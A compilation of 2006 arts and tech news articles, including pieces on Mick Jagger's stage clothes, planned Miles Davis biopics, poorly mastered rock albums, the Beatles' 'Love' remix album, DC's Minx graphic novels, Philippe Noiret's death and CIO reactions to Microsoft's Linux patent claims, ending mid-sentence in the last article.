“In mainstream rock you no longer see guys willing to take these fashion risks,” said Dan Peres, the editor of Details, a magazine whose editorial mission basically descends from Mr. Jagger’s robust sartorial and social experiments. “In this day and age, where if you have a great MySpace page you can go further than acts with labels promoting them and sell tons of albums without even having a label,” said Mr. Peres, “no one wants to make a style statement that would alienate anyone.”

No one wants to go onstage, as Mr. Jagger did each time the band played “Sympathy for the Devil” on the Bigger Bang tour — which ends this weekend in Vancouver — in a coat and matching fedora designed by Miuccia Prada and made entirely of feathers, perhaps because no one without his history could wear a coat of cock feathers and not seem like a joke.

“Very early on we did the same thing” young bands are now doing, Mr. Jagger explained in an interview this week. “We wore clothes very similar to what we wore offstage because we didn’t have any money and that was the look.”

It wasn’t until the end of the ’60s, when the Rolling Stones were playing 50,000-seat arenas, that the band began, he said, to wear more “eye-catching” stuff.

“If I was starting out now, I would dress down, but still hope to have some distinctive way of dressing down,” he said.

“It doesn’t matter if you’re starting out or you’re doing it for years,” Mr. Jagger said. “There’s no point in having a huge dress-up if you’re playing a 500-seat club. And if you’re playing for 50,000 people, there’s no point in wearing rags.”
http://www.nytimes.com/2006/11/23/fashion/23mick.html





Wrestling With Miles Davis and His Demons
Pat H. Broeske

FIFTEEN years after his death Miles Davis has been enjoying a comeback tour. A new marketing campaign, capitalizing on what would have been his 80th birthday earlier this year, has been touting Davis, the trumpeter, bandleader and jazz legend, as “the original icon of cool.” His music is being repackaged and (of course) remixed. And, as befits a musical giant, his life story — one that has long eluded Hollywood — appears finally to be headed for the big screen.

In the wake of “Ray” and “Walk the Line,” musical biographies that did well in recent awards seasons, filmmakers have lined up to portray Marvin Gaye, Charley Pride, Janis Joplin and Bob Dylan. Now, with a pair of potentially competing projects, it’s Miles Davis’s turn.

The poet and writer Quincy Troupe, who was Davis’s collaborator, friend and protégé, has adapted a screenplay from his 2000 memoir, “Miles and Me.”

“It’s about a friendship — a hard-won friendship — between two black men, both of them artists,” Mr. Troupe explained. “Through that friendship, the film will explore Miles’s life.”

The producer Rudy Langlais said independent financing for “Miles and Me” is in place through Patriot Pictures and Beacon Pictures, and talks are under way with actors and filmmakers. “We will be up and running next year,” predicted Mr. Langlais, whose credits include “The Hurricane,” about the controversial criminal case involving the boxer Hurricane Carter, and television movies about the Atlanta child murders and the gang leader Stanley Tookie Williams.

“Quincy saw through Miles’s veneer,” Mr. Langlais explained. “You’ll see a film that approaches the inner life of Miles Davis. We’re aiming for the truths of Miles — his fears, his terrors, his demons.”

Meanwhile an “authorized” biopic is being developed by the Davis estate, which comprises some (but not all) of his children, a musician nephew and a brother-in-law. Don Cheadle has been mentioned in reports as a possible star, though a representative for the actor declined to comment. This project — on which Mr. Troupe, who collaborated with Davis on his 1989 autobiography, was previously a consultant — has seen several producers and screenwriters come and go.

Davis has proved a challenging subject, in part because his career spanned almost half a century and diverse musical styles, and was populated by a somewhat incongruous roster of musical greats. The short list includes Charlie Parker, John Coltrane, Cannonball Adderley, Bill Evans, Sonny Rollins, Thelonious Monk, Gil Evans, Quincy Jones and Herbie Hancock, as well as Jimi Hendrix and Prince.

The jazz scene has also been problematic for filmmakers, whose forays have often been off-key. Some have delved into the dark, addictive side (as Clint Eastwood did with “Bird,” or Bertrand Tavernier with “ ’Round Midnight”). Others have dwelled on atmosphere (as did Spike Lee, with “Mo’ Better Blues”), sometimes at the expense of story line.

But the most difficult factor may well be Davis himself. The Prince of Darkness, as he became known, ranted so much about race and prejudice that some acquaintances believed he was the one with racial prejudice. (Though, as Mr. Troupe noted, Davis never balked at working with white musicians. And he was romantically involved with several white women.) He often performed with his back to his audience, and berated fans who dared approach him.

Famously fond of cool cars and hot women, Davis had an erratic personal life that included heroin addiction, cocaine addiction, pimping and spousal abuse. “I actually left running for my life — more than once,” his former wife Frances Davis recalled in a telephone interview. A onetime Broadway dancer, she said her own career faltered after she left the hit musical “West Side Story” because Davis told her, “A woman should be with her man.” She now says any screen depiction must be truthful about both his artistry and his rage. “There’s got to be full treatment of his genius, as well as his shortcomings,” she said.

A Davis film, with Wesley Snipes mentioned as the star, was first attempted by the former CBS Records chief executive Walter Yetnikoff, who played a role in encouraging Davis to record his landmark jazz-rock album “Bitches Brew” in 1970. Mr. Yetnikoff acquired the rights to Davis’s life and music, as well as to his autobiography. “But I didn’t know what I didn’t know,” Mr. Yetnikoff said in an interview. “And I didn’t know how to make a movie.”

When he allowed his option to lapse, the producer Marvin Worth (“Lenny,” “Malcolm X”) took the project to Columbia Pictures. But it came to a halt with Mr. Worth’s death in 1998.

Two years later Mr. Troupe published his own book about Davis, and the rights to that book were purchased by Mr. Langlais. For both producer and writer, the project represents the final chapter of a journey that began more than two decades ago, when Mr. Langlais, who was then executive editor of Spin magazine, assigned Mr. Troupe to interview Davis.

Mr. Troupe was 14 in 1954, when he first met Mr. Davis at a downtown St. Louis jazz club. (Mr. Troupe is from St. Louis; Davis is East St. Louis’s most famous homegrown celebrity.) In the late ’70s the two men briefly met again, through a mutual friend, when both were living on the Upper West Side of Manhattan.

It was 1985, when Mr. Troupe got the assignment for Spin, and he went to Davis’s brownstone, he recalls, “my little tape recorder in my hand.” The meeting got off to a shaky start when Davis asked, “How’d you get your hair like that?” and proceeded to play with one of Mr. Troupe’s dreadlocks. The writer slapped away his hand. “I told him I was there to conduct an interview, not to have my own personal space invaded,” he said. “And Miles, well, he looked pretty shocked.” Davis went on to spew some colorful language before calming down and asking what Mr. Troupe wanted to know.

“And I spent 10 hours with him,” he said. “Then I went back the next day and spent another 10 hours. I told my wife, ‘Something’s happening here.’ ” Mr. Troupe eventually turned in a 45-page article, which Spin printed in two lengthy installments. The next year Mr. Troupe received a call from a representative for Simon & Schuster: Miles Davis wanted him to work with him on his autobiography, extending a relationship that was to last until Davis’s death in 1991, at 65.

As Mr. Troupe sees it now, the angry image that was often associated with Davis actually masked a gentle soul. “Miles Davis was not the monster everybody made him out to be,” he said. “Miles Davis was a very shy guy who created a persona, a kind of hostile persona, to keep people away from him.”

Mr. Troupe has often described Davis as an “unreconstructed black man,” unapologetic and proud. “Miles did not want to smile. He was not going to be Louis Armstrong,” he said. “As far as Miles being racist, the last woman he was with was Jewish.”

That woman was Jo Gelbard, an artist who taught Davis how to paint. They later collaborated (acrylics and mixed media) and became lovers. He was in her arms when he died. Afterward the estate tried to wrest control from her of the paintings that she and Davis had made together. After seven years in court she prevailed. Ms. Gelbard’s relationship with Davis is the subject of a book she is now selling online.

“There was a lot more soul to Miles than has been previously depicted” in other books, Ms. Gelbard said in a telephone interview from New York. Apprehensive about Hollywood’s take, she said, “If they don’t find some light in his life, it will be just another black junkie Harlem-nights movie.”

“Yes, he was complex,” she said. “And I don’t negate the violence.” But, she added, “there should be some forgiveness and insight into him as a human being.

“It’s time to say he was a genius, and thank you for the music.”
http://www.nytimes.com/2006/11/19/mo...html?ref=music





Rant of the Week

Top Ten Worst Sounding Records, 1997-Present
Nick Southall

Before you try and kill me, this list is a) highly subjective (the way we hear is as different as the ears we hear with), b) designed to infuriate you as much as educate you, and c) limited to just rock / indie / alternative / whateveryouwanttocallit records. Electronic, dub, jazz, improv, classical etcetera are a whole other ballgame. I could have chosen a list of easy targets, from Californication to Snow Patrol to System of a Down, but what would be the point in that? These records are (almost) all ones that I would otherwise love, and in some cases do, despite their hideous sonics.

01. Oasis - Be Here Now
Be Here Now is the reason I chose 1997 as the arbitrary start-date for this list. This record just seems to capture something, to define and embiggen a trend already begun—and take it to an intolerable level. (What's the Story) Morning Glory? was LOUD and harsh and brash, as was Definitely Maybe, but the OTT overdubbing that took place on this record took loudness, density, compression, and ugliness to a level that had previously been rightfully unimagined. With Be Here Now Noel Gallagher tried to make Oasis' very simple music complex, but he didn't do so by increasing the sophistication of the composition or palette, by bringing in new and esoteric influences, or by trying out rhythms, textures, and melodic patterns beyond the ken. He made it more complex by playing a thousand different easy guitar parts over every song for twice as long as necessary. And then getting Johnny Depp in to do another guitar part. And then drowning out Johnny Depp's bit with a few more overdubs. And then adding a coda with a few more guitar parts. It's no surprise that Oasis wrote Be Here Now while loaded on cocaine out of their own history; the shame is that so many other people took this hideous album's dense and unpleasant aesthetic as a challenge rather than a warning.

02. The Flaming Lips - At War With the Mystics
Flips records have been loud as hell since The Soft Bulletin, but At War With the Mystics is beyond the pale—so much so that digital clipping and distortion seem to be used as an instrument within the mix. It's done so frequently and nastily that this album, which ought to be much better than the deadly-dull and almost-as-loud Yoshimi… because it has energy, hooks, and no 8-minute Yes-pastiches about wizards, actually becomes the least-enticing thing in their discography.

03. Arcade Fire - Funeral
I knew from first contact that there was something basic that I disliked about Funeral but I couldn't figure out what it was. The songs? No, they were OK. The music? No, it was good. The conceit? Perhaps. The delivery? Slightly. Take a track off Funeral and drop it in Garage Band or something else that can give you a graphic of the waveform. Funeral is pretty much flatlined all the way through. As such, it completely lacks the intimacy, realism, and layered detail that their companion Final Fantasy makes use of in his records. Similarly Neutral Milk Hotel's highly-regarded In the Aeroplane Over the Sea is a dead-on brick wall from the moment it starts. These aren't big commercial records on major labels—they're little, personal indie records for "discerning" listeners—so why mush them up?

04. The Shortwave Set - The Debt Collection
I said very nice things about this record, and immediately after I'd said them, it got filed away and I never took it out to listen to again. Now I realize why. The songs, production, ideas, and aesthetic of The Shortwave Set are all wonderful. But there's something wrong: it's too loud, too squashed, too unnatural. When you max-out a record during mixing and mastering, you literally make the sound of each instrument bigger on the disc. This causes the relationships between the sounds to become unnaturally close and, finally, overlap. But more than that, you pull all the character and shape out of music on a physical level.

05. Phoenix - It's Never Been Like That
Phoenix's aesthetic has always been hyper-smooth, AM rock radio sheen, crisp and shiny rather than deep or realistic. This was absolutely fine on United and particularly Alphabetical, where they achieved an almost R&B-like level of punch and shine. It's Never Been Like That, though, was supposedly an attempt to return to a rawer sound and, even though they may have recorded it with that approach in mind, it seems like it was mixed and mastered in the same way as their old sound, resulting in a claustrophobic, harsh, and unrealistic record that doesn’t rock at all and has none of the luxurious fake pleasure of their earlier work either.

06. Cocteau Twins - Heaven or Las Vegas (Remastered)
Cocteau Twins were never a warm listen. Their treble-heavy sound was a shimmering, brittle mess that either induced bliss or headaches depending solely on how you felt when you pressed play. Robin Guthrie oversaw the remastering of his former band's classic 4AD records himself, but you have to wonder whether he was drunk at the desk, such is the difference from album to album. The worst offender is, with the typical malice of fate, my favorite Cocteau Twins album. The remaster of 1990's Heaven Or Las Vegas transforms it from being an ethereal masterwork into a harsh and all-to-solid attack on the ears—bright, flat, and very, very bloody loud.

07. Bloc Party - Silent Alarm
On one level, this album sounds absolutely fucking awesome; the pounding drums, slashing guitars, crazy tempos, wild structures, and odd synths and FX dropped in the mix. On another level, it's a wearying, disorienting mess that I haven't listened to start-to-finish since about two months after I first got it. In a sense this is deliberate—Kele and co. are on record as saying they wanted to make a cold, hard, fascistic-sounding album, a modern-day Joy Division with dreadlocks. The thing is that, as well as being incredibly cold, hard, and fascistic, Silent Alarm is also incredibly bloody hot in a mastering sense, which makes the dense, airless, inhuman sound they were striving for even more alienating than they intended.

08. Radiohead - Kid A
In many ways, Kid A sounds amazing—"The National Anthem" is an awesome, propulsive piece of music—but in others… You could argue convincingly that it is meant to be a cold, alienating record, that, like the harshness of Public Enemy's early sirens & beats assault, it is designed to push you away with its sonics and lure you in with its groove and polemic, but… I know this is the case and Kid A still sounds wrong to me. Hell, OK Computer sounds wrong to me. Cold, flat, inhuman, distant. But more than that. "Everything in Its Right Place" and "Idioteque" ape the likes of Aphex Twin and Autechre, but they lack the full sonic range of those artists—the depth of the bass, the extreme synaesthetic detail. In short, they're electronic songs mixed and mastered like rock songs.

09. Massive Attack - Collected
This is oh-so-subtle, but it’s annoying. Take your CD of Mezzanine and take your CD of Collected, and play “Angel” back-to-back from one to the other. Notice how on the original album that ominous bass fades in from nothing; sense how deep it goes; see how sharp the rimshot is; feel the air around the bass drum and the shock of the guitars entering. But from this year’s beautifully-packaged Best Of, surreptitiously remastered, the bass is jarringly there from the get go, all width and no depth; the rimshot is flabby and indistinct; and there’s no sense of air or space. It’s like that for the rest of the CD—“Unfinished Sympathy” seems to have more of an impact on first listen but it’s less satisfying on repeated exposure, the strings that should soar are backgrounded, their timbre masked.

10. Keane - Under the Iron Sea
The amusing thing about Keane is that most people write them off as wimps, aimless bedwetting indie whingers with no muscle, when the reality is that their current album is one of the loudest, most sonically obnoxious records I've ever had the displeasure to hear. The treble is viciously sibilant, the bass wild and distorted, instruments completely unrealistic, with depth and detail almost entirely absent. When you add these sonic sins to the frighteningly efficient songwriting in evidence on most tunes (take three minutes to consider the lack of compositional fat on "Is It Any Wonder"—so fascist is its melodic imperative and momentum that singer Tom Chaplin, like a shark that will drown if it stops swimming, barely has time to pause for breath throughout its length), you have an album of profoundly robotic and dystopian inhumanity. If asked to hold up the best example of a bad, no, a disgusting sounding record, I would brandish Under the Iron Sea's tastefully modernist sleeve.
http://www.stylusmagazine.com/articl...97-present.htm





Roll Over, Brian Epstein: The Beatles Get Mashed
Jon Pareles

THE latest Beatles collection, “Love” (Capitol), isn’t a retrospective: it’s a recombination. After the innumerable reissues, archival gleanings and rescued live recordings that have made the Beatles catalog an endlessly milked cash cow for EMI Records and the Beatles’ own Apple Corps, the “Love” CD and its surround-sound DVD mix, both due for release on Tuesday, are different. Instead of simply collecting Beatles tracks, “Love” actively manipulates them.

Songs are edited together, dismantled, reconstructed from unused takes, overlapped, mined for guitar licks or orchestral bits, segued into free-form montages, even run in reverse. The result is both familiar and disorienting. “Love” is part of that snowballing 21st-century phenomenon, the mash-up.

It’s an authorized one, approved by the Beatles and their families and made by George Martin, the Beatles’ producer, and Giles Martin, his son. They assembled this music for the Cirque du Soleil production “Love,” now running in Las Vegas. The tone is admiring verging on reverent.

Mash-ups can mock their sources; “Love” emphatically does not. Nor does it venture outside the Beatles’ own catalog. All the music is from the Beatles, 1963-70, except for a new string arrangement by George Martin, which is overdubbed onto the bittersweet, acoustic-guitar version of “While My Guitar Gently Weeps” that appeared on “Anthology 3,” part of the “Anthology” series of alternate takes.

For people who have been hearing Beatles albums since they were first released, “Love” is a memory test, a jolt to the ingrained experience of the music. Did it always sound that way? Wasn’t that guitar solo in a different song? All mash-ups do that to some extent, but the déjà entendu effect is exponentially stronger with material like Beatles songs that millions of listeners have memorized from end to end. The effect, as it was with the “Anthology” albums, is not to devalue or dethrone the well-known versions, but to illuminate them.

Giles Martin said in an interview that he was tempted to have the album packaging read, “No original Beatles recordings were harmed in the making of these tracks.” It’s a nervous joke. By reshuffling Beatles nuggets even this much, the Martins have breached the hermetic domain in which the Beatles have tried to keep their music.

The Beatles’ EMI recordings aren’t available on iTunes, and Apple Corps turns down most requests to use the Beatles’ catalog in other contexts. When Danger Mouse made “The Grey Album,” his razzle-dazzle combination of the raps from Jay-Z’s “Black Album” with microsliced samples from “The Beatles” (a k a “The White Album”) in 2004, he immediately got a cease-and-desist letter from EMI Records, which instead could have capitalized on a new surge of interest in a 1968 oldie. (The album circulated anyway as a widespread free download.)

Like any other recordings the Beatles’ songs have been fodder for unauthorized mash-ups. But officially, they have been treated like sacred texts, to be kept inviolate. “Love” doesn’t open the door to Beatles recycling (which was going on anyway) as much as it recognizes the inevitable.

“Love” was made for Cirque du Soleil, which, astonishingly, persuaded the surviving Beatles and family members not only to let Beatles songs be used as the soundtrack for a big Las Vegas production but also to allow them to be rejiggered. Cirque du Soleil’s needs clearly affected the programming of the album — of course the Beatles’ circus song, “Being for the Benefit of Mr. Kite,” is included — but “Love” was also a good pretext to sift through the tapes one more time.

The Martins searched the Beatles catalog for coincidences of key and tempo, for bits of songs that could be turned into connectors or musical puns. Vocals from “Nowhere Man” drift in above the keyboard and cello of “Blue Jay Way”; the guitar introduction to “Blackbird” leads into “Yesterday” instead.

It’s an album of connoisseurship, revealing the inspired details tucked into so many Beatles songs. (Paul McCartney’s bass line in “Something” emerges, with the rhythm guitar track removed, as a true countermelody.) It’s a sonic close-up too.

Because “Love” was made from early generations of the Beatles’ original, unprocessed studio master tapes, the timbres of voices, fingers on strings and drumsticks on skins are more immediate than they have been on other digitized Beatles releases. Which ought to raise the pressure on EMI to release better remastered CD’s of the original Beatles albums.

Some of the juxtapositions are revealing, pointing to threads that run through the Beatles’ music. “Tomorrow Never Knows” and “Within You Without You” were both in the same key, so the rhythm track of the first can fit the melody of the second. But both were also Beatles songs that matched mystical reflections to the drone of Indian raga. Other combinations are merely clever, a matter of trivial coincidence. A few are cutesy and annoying.

The “Love” version of “Strawberry Fields Forever” imagines the song being constructed: first John Lennon singing it by himself with acoustic guitar, then the other band members joining in one by one as a rhythm section, then layers of backup voices, of electric guitars, of horns and electronics, but with Lennon’s voice always vulnerable at the core. It’s touching and fascinating, like a time-lapse version of the Beatles at work. And then, unfortunately, the production goes off the rails, piling on bits of other, unnecessary songs.

“Love” isn’t the last word on the Beatles catalog — or at least it shouldn’t be. There’s far more material in the group’s archives than a single collection can encompass, especially if the point is not only preservation but extrapolation. The Beatles in their heyday held their music to extraordinarily high standards, but they weren’t rigid or exclusionary about what went into it, whether it was Bach or the Beach Boys.

They were playing in every sense of the word — even doing their own premonitory mash-ups in songs like “Revolution No. 9” and “I Am the Walrus” — and with “Love,” some of that old playfulness returns. Back in the 1960s the Beatles were pop’s vanguard; now, in this guarded way, they have joined the cut-and-paste present. Their originals stand up, but it wouldn’t hurt their legacy one bit to let some outsiders play with them too.
http://www.nytimes.com/2006/11/19/ar...html?ref=music





Where Collectors Can Get Lost Classical Recordings
Steve Smith

Long before the closing of Tower Records was announced, the notion that a music store should offer a comprehensive selection of classical recordings had been abandoned. Older discs, which typically sold too slowly to help bricks-and-mortar stores meet their costs, were deleted from record labels’ catalogs. But they remained desirable to collectors, and the Internet music retailer ArkivMusic (arkivmusic.com) has recently introduced the ArkivCD program as a way to keep these recordings available.

ArkivMusic, a four-year-old company based in Bryn Mawr, Pa., maintains a database of more than 70,000 classical CDs, DVDs and SACDs (super audio compact discs), all sold through its Web site. Over the last two months, the company has added more than 1,600 ArkivCDs to its site: custom-burned CD-Rs of otherwise unavailable recordings, packaged in standard jewel boxes with facsimiles of the original cover and tray card. So far, liner notes are not included.

The concept of offering deleted recordings on CD-R is not new. A gray market has long existed for vintage LPs transferred to disc by private collectors, and in 2003, when New World Records (newworldrecords.org) absorbed the assets of the failed label Composers Recordings Inc., the company announced that the CRI catalog would be digitized for on-demand sales.

Eric Feidner, the president of ArkivMusic, said that offering out-of-print recordings had always been the company’s goal. “It was in the original business plan as the big idea,” he said. “But in order to get to the point where we could actually sell the big idea, we had to build a big customer base selling everything else.”

ArkivMusic began to license out-of-print recordings from independent labels two and a half years ago, storing the recordings as uncompressed digital files on its servers. The company did not publicize the series until last month, when a large influx of titles licensed from Sony BMG and Universal Classics was made available. The new additions included recordings by Eugene Ormandy, Martha Argerich, Jessye Norman and others.

Mr. Feidner said many of the initial offerings in the ArkivCD program were chosen using data culled from his company’s partnerships with classical radio stations, including WQXR-FM, which is owned by The New York Times Company. ArkivMusic links the playlists posted on these stations’ Web sites to its own site, enabling click-through purchasing.

“About 50 percent of what gets played on most classical stations on any given day is an out-of-print recording,” Mr. Feidner said. “That’s our wish list, because stations play these things all the time. People are looking for them.”
http://www.nytimes.com/2006/11/25/ar...html?ref=music





For Graphic Novels, a New Frontier: Teenage Girls
George Gene Gustines

“It’s time we got teenage girls reading comics,” said Karen Berger, a senior vice president at DC Comics. And DC, the comics powerhouse best known as home to Superman and Batman, has a program to make that happen.

In May, DC plans to introduce Minx, a line of graphic novels aimed at young adult female readers, starting with six titles in 2007, each retailing for less than $10. The stories will be far removed from the superheroes who more typically appeal to young males. They include “Clubbing,” about a London party girl who solves a mystery; “Re-Gifters,” about a Korean-American teenager in California who enjoys martial arts; and “Good as Lily,” about a young woman who meets three versions of herself at different ages.

Teenage girls, Ms. Berger said, are smart and sophisticated and “about more than going out with the cute guy. This line of books gives them something to read that honors that intelligence and assertiveness and that individuality.”

As a whole, the line is positioned as an alternative for teenage girls who have, especially in bookstores, become increasing smitten with the Japanese comics known as manga. In 2004, DC started CMX, a manga imprint, to capture part of that audience. The marketing then was similar to that used for DC’s other titles.

With Minx, though, DC has taken what, for it, is the unusual step of seeking outside help. It has joined with Alloy Marketing + Media to promote Minx. All told, DC, a unit of Time Warner, will spend $125,000 next year to push the line.

“In terms of consumer marketing, it’s got to be the largest thing we’ve done in at least three decades,” said Paul Levitz, the president and publisher of DC Comics. “It’s not large by the scale of consumer marketing and advertising as it’s done in America, but it’s a large-scale commitment, I think, for a publishing company in general.”

Alloy Entertainment, a division of the marketing company, has helped to make hits of books like “Gossip Girls” and “The Sisterhood of the Traveling Pants.” Alloy was also the so-called book packager behind “How Opal Mehta Got Kissed, Got Wild and Got a Life,” a first novel by a 19-year-old Harvard sophomore named Kaavya Viswanathan that was pulled from stores earlier this year when it was learned that numerous passages had been copied from novels by other writers.

Still, Alloy is offering DC access to a large audience of teenage girls, through Web sites and the Delia’s shopping catalog, which has a mailing list of nearly five million, according to Samantha Skey, Alloy’s senior vice president for strategic marketing. Ms. Skey said Minx would be the first graphic novel publisher to be included in the catalog.

Along with other initiatives, Alloy plans to create online networks about the novels that will let subscribers write reviews, see previews and sketches or discuss the stories.

DC cast a wide net in seeking those stories. “To us it doesn’t matter if the person has written comics before or is known to the comic book market,” Ms. Berger said. “We want writers who can really write to the demographic and to really bring something new to the table.”

The right creative team is important. “When you had mostly boys and men making comics, you had comics made mainly for boys and men,” said Johanna Draper Carlson, the editor of comicsworthreading.com, a Web site for comic book news and reviews. “Then you end up with teen-girl superheroes who are drawn like Victoria’s Secret models.”

“I don’t think only women can write for women,” Ms. Carlson added, “but I think it helps provide an alternative perspective and a more true-to-life experience.” Ms. Carlson, who often champions female-friendly comics on her site, is taking a wait-and-see attitude to the Minx line.

The first Minx graphic novel will be “The P.L.A.I.N. Janes,” written by Cecil Castellucci and illustrated by Jim Rugg. It tells the story of Jane, a transfer student in a suburban high school who starts a campaign, “People Loving Art in Neighborhoods.” It’s a call to appreciate the everyday world that comes to involve everything from protesting the construction of a new mall to encouraging pet adoptions from animal shelters.

Jane’s classmates and fellow believers are Jane, who is interested in theater; Jayne, an academic whiz; and Polly Jane, a jock. Each is decidedly not part of the in-crowd. The reason for Jane’s transfer is serious: her family fled to suburbia after Jane survived a terrorist attack that blew up a cafe in fictional Metro City.

The experience of survival is a personal one for Ms. Castellucci, 37, whose young-adult novels include “Boy Proof” and “The Queen of Cool.” In 1979, when she was 9, Ms. Castellucci witnessed a bombing by the Irish Republican Army in Brussels. In 1986, she was in Paris during a rash of bombings. Those incidents, and the events of Sept. 11, played a role in shaping the story.

“It seemed like this was a good opportunity to explore those fearful feelings that I had growing up,” she said in a telephone interview from her home in Los Angeles. “They’ve always been a part of my makeup and fears.” Feeling scared, she said: is an emotion everyone understands. “You can’t help it if you’re a part of this world.”

Ms. Castellucci was recruited by Shelly Bond, a Minx editor. It was an easy sell. “I love comic books,” Ms. Castellucci said, listing several series she enjoys, including “Fables” and “American Virgin,” on the DC imprint Vertigo, and a particular creator (“Brian K. Vaughan. I love everything he does”).

But reading comics is different from creating one, particularly a 146-page graphic novel. “I had to learn how to write a story all over again,” she said. “I did have a week or two when I thought I don’t know what I’m doing.” She said that the graphic novel was “kind of like a movie or a storyboard, but it’s not. There’s so much you can do with the images and the pacing.” She credited Mr. Rugg, the artist of “The P.L.A.I.N. Janes,” as a prime source for advice.

Mr. Rugg, who is based outside Pittsburgh, said he appreciated the goal of Minx. “I liked their target demographic,” he said. “I like the idea of doing comics for an atypical reader.” In addition to creating the drawings, Mr. Rugg also gray-scaled them, giving the black-and-white comic book a sense of color. He finished his work last month.

One of Mr. Rugg’s previous comics was “Street Angel,” about a homeless teenage girl who fights crime, which he created with the writer Brian Maruca. Mr. Rugg, 29, called that comic, published by Slave Labor Graphics, his response to the typical depiction of women in mainstream comics, most particularly their impossibly proportioned bodies.

“It’s the same for men,” he acknowledged. “But I don’t find that as offensive.”
http://www.nytimes.com/2006/11/25/ar...gn/25minx.html





Philippe Noiret, an Actor of Elegance and Dry Humor, Dies at 76
Alan Riding





Philippe Noiret, a much-loved French character actor who gained international renown through the movies “Il Postino” and “Cinema Paradiso,” died on Thursday at his home on the Left Bank in Paris. He was 76.

The cause was cancer, said his agency, Artmedia.

Although Mr. Noiret played a great variety of roles in a career dating to the early 1950s, one image that clung to him was that of an elegant gentleman farmer, reinforced by his aristocratic demeanor, dry sense of humor and velvety voice no less than his love of horses and country life.

His own background, though, was modest. Born in Lille on Oct. 1, 1930, he failed to graduate from high school and, he later recalled, became an actor almost by default. His good fortune was to be hired by the Théâtre National Populaire in Paris in 1953. Seven years later, his movie career took off when he appeared in Louis Malle’s “Zazie dans le Métro.”

With roles in more than 125 films after that, he worked with American and Italian directors as well as many leading French moviemakers. Among his best-known female co-stars were Simone Signoret, Romy Schneider and Catherine Deneuve.

Abroad, his most successful roles were as the village projectionist in Giuseppe Tornatore’s “Cinema Paradiso” (1988) and as the Chilean poet Pablo Neruda in Michael Radford’s “Postino” (1994). He also starred alongside Marcello Mastroianni in “La Grande Bouffe,” Marco Ferreri’s 1973 portrait of suicidal gluttony.

Mr. Noiret frequently appeared in movies with his wife, the actress Monique Chaumette, whom he married in 1962. She and their daughter, Frédérique, survive him.

In France, one of his finest roles was that of Major Delaplane, a French Army officer charged with organizing war memorials after World War I, in Bertrand Tavernier’s 1989 “La Vie et Rien d’Autre” (“Life and Nothing But”). For this role, he won a César, the French equivalent of an Oscar. He won his first César for best actor in Robert Enrico’s 1975 “Le Vieux Fusil” (“The Old Gun”).

Mr. Tavernier, who made eight films with Mr. Noiret, was among numerous directors to remember him fondly. “He was a friend, a brother, someone I could count on for every adventure and whom I tried to serve by giving him different characters to play,” he told the radio station RTL on Friday.

An outpouring of tributes underscored the special affection Mr. Noiret enjoyed in France. President Jacques Chirac hailed him as “one of theater’s and cinema’s most outstanding and engaging people.” Prime Minister Dominique de Villepin said he “captured and expressed something of the French soul.”

In Italy, where Mr. Noiret made many films, newspaper headlines included “The Frenchman Adopted by Italy” and “Farewell Noiret, the French Star Who Conquered Italy.” Knowing that Mr. Noiret was ill, Aldo Tassone, the artistic director of France Cinema, an annual festival of French films in Florence, dedicated last month’s festival to him.

Mr. Noiret had a down-to-earth view of his own long career. “When I think back, I see someone who has correctly executed his trade as an artisan,” the Paris daily Libération quoted him as saying. “I have done a few difficult films as well as some not demanding enough. The average is not bad. I am a popular actor and I like that idea.”
http://www.nytimes.com/2006/11/25/movies/25noiret.html





Linux Users to Microsoft: What 'Balance Sheet Liability'?
Eric Lai

November 21, 2006 (Computerworld) While Microsoft Corp. may cast the Nov. 2 patent cooperation agreement it pushed on new partner Novell Corp. as a way to protect corporate users of the SUSE Linux operating system from potential lawsuits, CIOs today said they weren't worried in the first place.

"I do not believe that my company has an "undisclosed balance sheet liability," Russ Donnan, CIO at business information provider Kroll Factual Data, said in an e-mail response to questions from Computerworld about the Microsoft deal. Kroll Factual, a Loveland, Colo.-based subsidiary of global services provider Marsh & McLennan Companies, uses Red Hat Linux servers along with Windows servers in its data center.

After keeping mum about Microsoft and Novell's tie-up, Microsoft CEO Steve Ballmer openly declared last week that he believes the Linux source code infringes upon Microsoft's intellectual property (IP). And companies that use Linux, apart from Novell's SUSE distribution, face a latent financial time bomb that he called an "undisclosed balance sheet liability."

Yesterday, the two companies released separate statements, with Microsoft softening but still standing by Ballmer's comments even as Novell's CEO Ron Hovsepian disavowed them.

Donnan, who described himself as "not a huge fan of software patents," said "the threat of such a 'liability' would not in any way influence" whether Kroll would stick with Red Hat or move to SUSE or even Windows. "Steve Ballmer is posturing for mind share to enterprise executives, knowing it will have little to no impact on IT executives," he said.

Barry Strasnick, CIO of North Quincy, Mass. financial services provider CitiStreet LLC, was even more emphatic.

"Like many IT executives, I took great offense to Ballmer's comments," Strasnick wrote in an e-mail. CitiStreet uses Red Hat Linux widely in its data centers. "If Microsoft really thinks there is some code in Linux that violates their patents, they should publish those lines of codes immediately instead of just posturing in the press. [Fear, uncertainty and doubt] may have worked for IBM in the 1970s (some of us are old enough to have been around then), but not today."

When Linux began gaining adoption by dot-coms in the late 1990s, many mainstream CIOs considered it risky in part because of their unfamiliarity with the open-source General Public License (GPL) that governs the operating system's intellectual property, according to Gordon Haff, an analyst with Nashua, N.H.-based Illuminata Inc.

"It wasn't that any circa-1999 CIO had carefully studied the IP issues surrounding Linux, it was that they didn't know much about them and the whole thing sounded kind of fishy to them," he said.

Those risks appeared to become realized in 2003, when The SCO Group, a former Linux distributor-turned licenser, began suing both Linux vendors such as IBM and Red Hat Inc. and ex-customers, such as AutoZone and Daimler-Chrysler, for infringing upon its copyrights.

But SCO has made little progress in its lawsuits. Meanwhile, many open-source vendors, including Hewlett-Packard Co., Red Hat, SUSE and others, quickly responded by offering indemnification against potential lawsuits as part of their standard support packages to customers. Others, such as IBM, have long maintained indemnification was unnecessary.

"We don't offer indemnification because customers rarely, if ever, ask for it," an IBM spokesman said.

Either way, "Linux' success tends to suggest that buyers for the most part don't look on Linux as something risky," Haff said.

And Microsoft's assertions might be even backfire. "There were some applications I had been thinking about moving to a Microsoft platform, but this has now totally alienated me from Microsoft," Strasnick said.
http://www.computerworld.com/action/... =rss_topic89





What if Linux does Infringe on Microsoft Intellectual Property?
Adrian Kingsley-Hughes

There have been a lot of words written about the comments made by Microsoft's CEO Steve Ballmer during a Q&A session after his keynote speech at the Professional Association for SQL Server (PASS) conference in Seattle last week (you know, where he said that Linux used intellectual property patented by Microsoft).

Most seem to think that the claims are nothing more than FUD on the part of Microsoft and that nothing will come of it. But here's a thought to ponder - what if it's true and Linux does indeed infringe on one of more of Microsoft's patents?

You have to admit that there's at least a chance that Linux does indeed infringe on Microsoft's patents
